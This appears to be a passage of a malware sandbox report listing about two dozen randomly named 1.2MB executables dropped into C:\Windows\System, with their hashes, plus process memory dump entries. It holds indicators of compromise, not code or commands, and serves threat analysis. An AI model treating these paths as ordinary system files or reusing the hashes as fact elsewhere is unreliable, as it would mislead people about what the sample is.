86f228e8ce4a09996b2489bde865ee6e49532027624deb5676fdf6b0ff250d1926e592a1d66a0736f2df3134aa845607a99170f06c3578c88cedd78541f1d41f

Download Submit
C:\Windows\System\TkcvOJM.exe

Filesize
1.2MB

MD5
6ac9a8477be8da0fe266dfadb0c45a48

SHA1
54fd17d9069f20e2c1254ea93e27148c0ee9a432

SHA256
1315707342ccd4f43949efee5eb09f065858cdcd31a1518ba33c1d150f462435

SHA512
5634c72929dfd939fb10e833d71976b9341fc0d82cc130c24a99778a141e48d363bf50b36ba2f491e82e872f9c9fb36589dea72119324be46c5b957a93516f75

Download Submit
C:\Windows\System\UQgplvT.exe

Filesize
1.2MB

MD5
f0a85077afebf0b4e9cab9079b3da61a

SHA1
5ba5ba42f91b79975d389bb7219a2ae4389f6035

SHA256
e9b3bd7373cd8580501ec58a4f0704ec07a6f9b11e48d17434acb8cd22632fe9

SHA512
cd94416182442b9c7bc5bc66d404a62e32a9bb57c2d5ed2d14d38b91e59b406396263587f521c6f61e0c1b30df5d60db4cacf0894b5b31be9f993cbd77b67c14

Download Submit
C:\Windows\System\WezrcUV.exe

Filesize
1.2MB

MD5
6b96f24452390620661fc0f106922af2

SHA1
3a6616a4a077a5c7bf82c6e92ab4b293c77fa0bd

SHA256
88905d364cd291213e0c77d3ae4a4c61a9e095abcd6bb6a87bb3d03cb87572b4

SHA512
ad4e63b0787248f0ee6d49942f8e4584e89c026677b27bea1a8f3482779148f2e12e1e2da0ab33d3b4d2b38919c117724bfd1ad36bfa2b5b0ce71cb6247382c8

Download Submit
C:\Windows\System\XxgUBUI.exe

Filesize
1.2MB

MD5
b44c86fc5b7ee588ecf75e2aaa4f1983

SHA1
059421b1a512b7f2908ffdc1bd83389752c5a058

SHA256
4a01dc869aae9758e18b3e0b3a294127571f889e9dd1fe8c64db18ebda33c68d

SHA512
f265aaaaa5bd5b0332a1675470dbd279ad69c02e897449c68dac94b5c8ef7a00d5eb23b1fb98ec8b675ee72971374d9bf17c8abbd8f2ab57f02f3fe1f8b35b2b

Download Submit
C:\Windows\System\eUzvsnc.exe

Filesize
1.2MB

MD5
87983e1305cd144a35010d82f5096b48

SHA1
0854bc12fe552ac52e81e53a1d4f2db8e621f0cf

SHA256
12ec27d20425e6fb39c6953f9387d12dd92174ad00dbcedb4994acdf944f1235

SHA512
1e31b22418684311a2079a73de45e584c0041eb805c41a5cea8e5b34aaae86a360a2e0aa5a932d5b8b1a8a859b0ab0d060c8f6b8e0d7eb9cd2df3dc35fe66d44

Download Submit
C:\Windows\System\fBvOCUP.exe

Filesize
1.2MB

MD5
ea68cb06e13cfacbc0c7b43a595da565

SHA1
61efe5b1d8b8b801cc391772a5cbb34e83282a50

SHA256
f65d05299536999f1a7ff7839ef3fda3cc22059e6f35fb875fc5901eb8858c57

SHA512
fabd57e1fb676bceb7cd4f08d0ef4cd73784e648545e5a0fdda9ef482fba5d2cffcca73ae1bf22b3fe4c030e47f0e668bdf67eedf4cc23ee828ffbe5b53574f3

Download Submit
C:\Windows\System\fbTBYjr.exe

Filesize
1.2MB

MD5
11b44dbae40fde6ea1b35d434a337ed8

SHA1
be63c7dc011945848812e9f30de503745286c1e3

SHA256
3d6922b08d4e276a6405c4e61db0e295c614e2e025c165ee02439bc050bd7b7c

SHA512
25eed42b8666a08818b4f821999d72892e522efeb0d141a20d242a96193c519f701252512456efd58140782d7c97df7c7f6ec6ae3ce1a3fc6d75c988cf732bf9

Download Submit
C:\Windows\System\fbgFNtH.exe

Filesize
1.2MB

MD5
c81dc962f7b3836dcf4dde06ee9f1703

SHA1
b59a066833f24c3604a7c72bebf9e034b33d7087

SHA256
dbab2114b2aec68a6ce3e7cde5119b18039dbe148adb606f9a0498f2fdd6f334

SHA512
018fd3c40bd17af8c545d87efbe4213d5e8c15aa07a90b2723274f100bcc0c9c5a92c06df5ead4d3a1c3f055dc0cd4fd7a7045a9dab1d424f57c8fc2bbb1e604

Download Submit
C:\Windows\System\gORBSkk.exe

Filesize
1.2MB

MD5
4bfa3c0f2d363ed7e215febfc8a8b378

SHA1
09863e5e07e2494cbe36ab5a107e286bf4d980e4

SHA256
1b92d2c6cc50728daf71dc34bd8ffbed73fa35041ba0394fe359d4cfbba7630b

SHA512
250c2bd278814039c3a4519217969e763226cf64bd06cb54129778912712f20051bf0796ea1cc62b07d65082b672ce6194d66c3b29ddf49c5681be2d21829b89

Download Submit
C:\Windows\System\hFpQlSt.exe

Filesize
1.2MB

MD5
d9b63fd59639f39ce9be0cbdb0dd3fb8

SHA1
12a81c86217ca5b7c2a2e93b3c1d9085bc59c9dc

SHA256
0deaba07a34bdecb68b9ed47f2dec8efc203b44646c1f9801800c70f1801c624

SHA512
2cf79d862014225cfd1aaf455a81ecc56825459053374421da0240152053ed75417092517e7a9d1c6459c2ee5c78efef519b81b8087bb6a3030321500b1232f4

Download Submit
C:\Windows\System\nbvvJuH.exe

Filesize
1.2MB

MD5
d674a9707118f3d78df8b95889480b0f

SHA1
5185c71d30c42bfd8f424e3675d8da6573753e1f

SHA256
5d9d8123d191145dba9e8e7851e25507227919a1365ad5f9ad42088052182c86

SHA512
1d2e1a7b54e5a5f6789c137ddf7de3bb13702e6e9dab5e7ed70b3348efa4f1ce2686c8f8911b8c7560ac96e6f39f5fa330aafc1a306749409a9d3461828b2c50

Download Submit
C:\Windows\System\oRPsIeC.exe

Filesize
1.2MB

MD5
d8b4f0ec292c417eecbb932e77ce5912

SHA1
e52a387e2931dc975bef2a9d0d70561f50ee3105

SHA256
b5957965b5b906e26c4b03f1b02b0089aa9a7292a28403f2ffb139cb450a41c2

SHA512
af2f2629b23d826984768418e0457b2746e6ebd3cb60a66c959fe153a431e8c705fd6f4472171c9e494190e50ad5216423b2baad7bbf72ec22d8babed2fc1865

Download Submit
C:\Windows\System\obUdrpz.exe

Filesize
1.2MB

MD5
f0ab38a592b232a83f2f88fe54d1d7b0

SHA1
20ddd4ea4cc8b88b45062834cad669050b3a3727

SHA256
3bac6169dd38d30c75e4e0a328858534f943725e96b4eef138656e420001e116

SHA512
0811b31d4b3e19c9d860b8962be1cdfcf047dff4cc41a03e5db1b708a1e9aee1bbde8412d50afa184b0bc0b7946c88fa66c0937f143e044389a8b4f69eec965e

Download Submit
C:\Windows\System\pBhTlTL.exe

Filesize
1.2MB

MD5
353dd535827a91b11cf3ac81f5a3b93b

SHA1
c7e63bef145e19179c4b9394e5f197311d921dfb

SHA256
3fe753bdd77a88a16099d31ccbf975a3ff54dad8ea73c7df959f0e7f5e08b407

SHA512
13964b6b8206807c67591bca282ff1d1320e1076b14a6278152e925b41ea262b8f0083b1ddfe9a43301fc5f8fc09612032ea952879654f6ff237a9b019b544f3

Download Submit
C:\Windows\System\pFXEWVw.exe

Filesize
1.2MB

MD5
f5b61ccd206544917d973f5206c8699d

SHA1
4f695f7e849a6017f398ff6baefcc5af3bcb0895

SHA256
93f1a9bbe89671f6f01f5bbb9eba3d934b98d9cb3800b50700423be32501e19a

SHA512
36a502889f5d617c6f8c814278f1779ef59d98fab6bb86c496c91281727044c586491e3fb3e36d1e1cfc8bd5e87c02f1d570b83c9548187bc0cf4ddbacd47e0b

Download Submit
C:\Windows\System\pjBxNJv.exe

Filesize
1.2MB

MD5
6402c7536a710f1454de27f2d2dd7d1b

SHA1
2fe2131683c7e27e36c19f58dcb5a4f411ec6e2b

SHA256
4be4188411bee8b93a2a4657e43c5491d42a15d260c55b63aa3b6bd4476ac2fe

SHA512
2f8dcbc6ad41100a2dff0479973e1f4edb74edc2af72f0016270c0f59d7f061d7f6568198a996d2486338769bfc401e2a0d5fe29af890dd5274e9edb0ad4f728

Download Submit
C:\Windows\System\qmzjCfP.exe

Filesize
1.2MB

MD5
ce1a6935649cd9a97f6d5f753698d64b

SHA1
df5a6f1de2176c8a811bc316cd2f3f4e725b702f

SHA256
3271609c876e5cd769c0c91994269e421c1e0fb8e4c00658ca0f3e4b3bbbf3f6

SHA512
df61ac5f7f1037eba4269e25deeeda88c5e6706113fa0f026b3d2e920c387e4e1b884f52c4227b784500a199b3e259a40e443f3c269c959d5abacd1970320a85

Download Submit
C:\Windows\System\qrRcJDh.exe

Filesize
1.2MB

MD5
f72fa82037912157418ceff698f31c27

SHA1
2881718505a997a081f0d346012d99d8995ceaa0

SHA256
6d66b72ab3f1c014a6cf07d9f5abccd87fd510e41704c5af25b4ce864f5509d0

SHA512
1fa698a2fa1dd319c0db5aeded2ebb16566687c25be44f3023cde17f9e0ce999188f1ae5a8b81c48fec8c3454f632b5552232748da59a058ba1c21a5b0f7cfce

Download Submit
C:\Windows\System\rxSZuYN.exe

Filesize
1.2MB

MD5
c716ecdde601f5d772611040c1144cbf

SHA1
500b3be0c4b7c5ae0a9b90bc08b38decb5470719

SHA256
c7854a268e1f293cf18d8dba3cea756fc482961267590cb264283f1392143c55

SHA512
ecbc34b6152cb7d39cef6e3ef84a0447e4acc3725ecb4e645456fd6aed1ea44751ebb444736a5948c7098ca686c07d6036cf603e067463c656a9a6d729bc2dc9

Download Submit
C:\Windows\System\sPcyGet.exe

Filesize
1.2MB

MD5
163ccccfaf656c6e864efa2db19b5102

SHA1
b9c956188b4bf985baa289297295880053961c71

SHA256
278018bf0e38f91891710568b7e39cbe5a9237d848474d52468e5b950be9c629

SHA512
bcd74ecb3859a325fbf297149044bc6dd20f1f01d5508a24ba1a7e29da082728a046e9b2108335cd1483ab69b66df80ec2a98a1c357f4c39333bfaa10dc80dbe

Download Submit
C:\Windows\System\tJhbRJX.exe

Filesize
1.2MB

MD5
ea5e73f68e2728f6ad5aae9c41ccfa80

SHA1
e65947950973afed660454a5c91d868ba5270a0c

SHA256
8bf3658fa4587c0c5f419c197cce939f6105bdb49f196b1f76de9d3ac2b03552

SHA512
36490b284813a62d4015dfbd691db10752d5afdb9dfeb1a438b145dca2da5f88e44bdce36c1e2e024919ca6c9f65b0a236957fe91cebf2644eb043e7065ac56c

Download Submit
C:\Windows\System\wNOBvNv.exe

Filesize
1.2MB

MD5
7c56ca4b1d4c6ce3524d12241a9efd11

SHA1
4e17555a625f050c685a58d8f13bf669ba563cc9

SHA256
dde609ab66eef1e8dc8ffd13f3a14dc73c3a20a2cc44365de0bdf71ac89aaa9a

SHA512
91062ba13a8fe4f4ab06f20bc82814864daf3d03428ea3da0b114d6bec5e349bb7e9b3d2343d58b09f2e741b9d9793fd9bbfc883eccf6e447eb4fe36b8a6470e

Download Submit
C:\Windows\System\wctLNfE.exe

Filesize
1.2MB

MD5
bb635706fe4418d7a549775ff7221645

SHA1
2b8d8cf1406d9f9ff83b2f7253895f1c92ae9f34

SHA256
5ff6fee6dcd4d956362c9b2fa71c5c2acbc1f7286fd7884d8696aae5018c769c

SHA512
ee17466fecdfcd3ef310f93c8ac3b9ce5f7456ea0efeeabc19788d0f96a22e6a2a335a524341cd3b6c599a760dca205708ac08216bd38ae86ef5d4fdcf05fa78

Download Submit
C:\Windows\System\yWdiOCM.exe

Filesize
1.2MB

MD5
11b2e70fba7a675178513570f495f4d0

SHA1
5783987ec9d8ce07e5592c01ac79f2bcbaeb2593

SHA256
217c78d2e5ce99977e1caba69837e2116b9053c96278ddacd8551fc3cd74e8dc

SHA512
a614dab9c32b9f11cf7872c886b2ba8ef5d8d0f6b7a6742c53cbf40119b241dfce51b000558b63dfbdaf4ca2327d8b91ce4820042421fcf1a7f67d4fcdfb0114

Download Submit
C:\Windows\System\ykTueDl.exe

Filesize
1.2MB

MD5
c9efe1c0db73a09d5f4131fdb7941d85

SHA1
7c706287f9ea58822eb2ee5d67d4246341acf5aa

SHA256
21186751b5048ba26de7f255193158c6c65333ce3a26ea80598e37cb55ed01b8

SHA512
76eb732caadd8f8bde6e61e16938ee172e0e8101047d25eabba7ec41892bd3e9485c06213497836d364ffee2a6570f907629aefbe0566fb08ac96d0d158203ad

Download Submit
C:\Windows\System\zqXPFYm.exe

Filesize
1.2MB

MD5
ea3dcac43a499146489ccea8eae5f5ac

SHA1
a296a6b0fd5575c4c87813347ee04b167f642641

SHA256
1d5027e1099ae5d7dae35ffa3c3f8cad7c721af87dfd8a7b4db3e4d4570388b6

SHA512
95fb278553c913416e7d593f16870d762d910f185086c072d0ac95a8e141d4d4fab797a2633975f536961c6b9976ebec9efbba8991e6433ee4de8cf79feda2c2

Download Submit
memory/224-469-0x00007FF77B7F0000-0x00007FF77BBE2000-memory.dmp

Filesize
3.9MB

Download
memory/224-5596-0x00007FF77B7F0000-0x00007FF77BBE2000-memory.dmp

Filesize
3.9MB

Download
memory/432-502-0x00007FF66B6F0000-0x00007FF66BAE2000-memory.dmp

Filesize
3.9MB

Download
memory/636-5500-0x00007FF6344E0000-0x00007FF6348D2000-memory.dmp

Filesize
3.9MB

Download
memory/636-517-0x00007FF6344E0000-0x00007FF6348D2000-memory.dmp

Filesize
3.9MB

Download
memory/1460-513-0x00007FF79DB70000-0x00007FF79DF62000-memory.dmp

Filesize
3.9MB

Download
memory/1512-141-0x00007FF641940000-0x00007FF641D32000-memory.dmp

Filesize
3.9MB

Download
memory/1596-516-0x00007FF6E0630000-0x00007FF6E0A22000-memory.dmp

Filesize
3.9MB

Download
memory/1896-333-0x00007FF6A2000000-0x00007FF6A23F2000-memory.dmp

Filesize
3.9MB

Download
memory/1932-512-0x00007FF703FC0000-0x00007FF7043B2000-memory.dmp

Filesize
3.9MB

Download
memory/2064-470-0x00007FF633F20000-0x00007FF634312000-memory.dmp

Filesize
3.9MB

Download
memory/2116-73-0x00007FF60B760000-0x00007FF60BB52000-memory.dmp

Filesize
3.9MB

Download
memory/2356-501-0x00007FF6118E0000-0x00007FF611CD2000-memory.dmp

Filesize
3.9MB

Download
memory/2432-503-0x00007FF669550000-0x00007FF669942000-memory.dmp

Filesize
3.9MB

Download
memory/2432-5672-0x00007FF669550000-0x00007FF669942000-memory.dmp

Filesize
3.9MB

Download
memory/3300-518-0x00007FF706450000-0x00007FF706842000-memory.dmp

Filesize
3.9MB

Download
memory/3320-330-0x00007FF6BA190000-0x00007FF6BA582000-memory.dmp

Filesize
3.9MB

Download
memory/3596-515-0x00007FF724BF0000-0x00007FF724FE2000-memory.dmp

Filesize
3.9MB

Download
memory/3744-556-0x00007FF715FF0000-0x00007FF7163E2000-memory.dmp

Filesize
3.9MB

Download
memory/3764-443-0x00007FF633440000-0x00007FF633832000-memory.dmp

Filesize
3.9MB

Download
memory/4300-444-0x00007FF648E50000-0x00007FF649242000-memory.dmp

Filesize
3.9MB

Download
memory/4344-519-0x00007FF6B29F0000-0x00007FF6B2DE2000-memory.dmp

Filesize
3.9MB

Download
memory/4540-514-0x00007FF7DB270000-0x00007FF7DB662000-memory.dmp

Filesize
3.9MB

Download
memory/4672-1911-0x000001AD78A60000-0x000001AD78A82000-memory.dmp

Filesize
136KB

Download
memory/4836-238-0x00007FF600BD0000-0x00007FF600FC2000-memory.dmp

Filesize
3.9MB

Download
memory/4904-468-0x00007FF70ADA0000-0x00007FF70B192000-memory.dmp

Filesize
3.9MB

Download
memory/4920-254-0x00007FF7F49D0000-0x00007FF7F4DC2000-memory.dmp

Filesize
3.9MB

Download
memory/4980-263-0x00007FF7B7FA0000-0x00007FF7B8392000-memory.dmp

Filesize
3.9MB

Download
memory/5040-2305-0x00007FF666770000-0x00007FF666B62000-memory.dmp

Filesize
3.9MB

Download
memory/5040-0-0x00007FF666770000-0x00007FF666B62000-memory.dmp

Filesize
3.9MB

Download
memory/5040-1-0x000001B538470000-0x000001B538480000-memory.dmp

Filesize
64KB

Download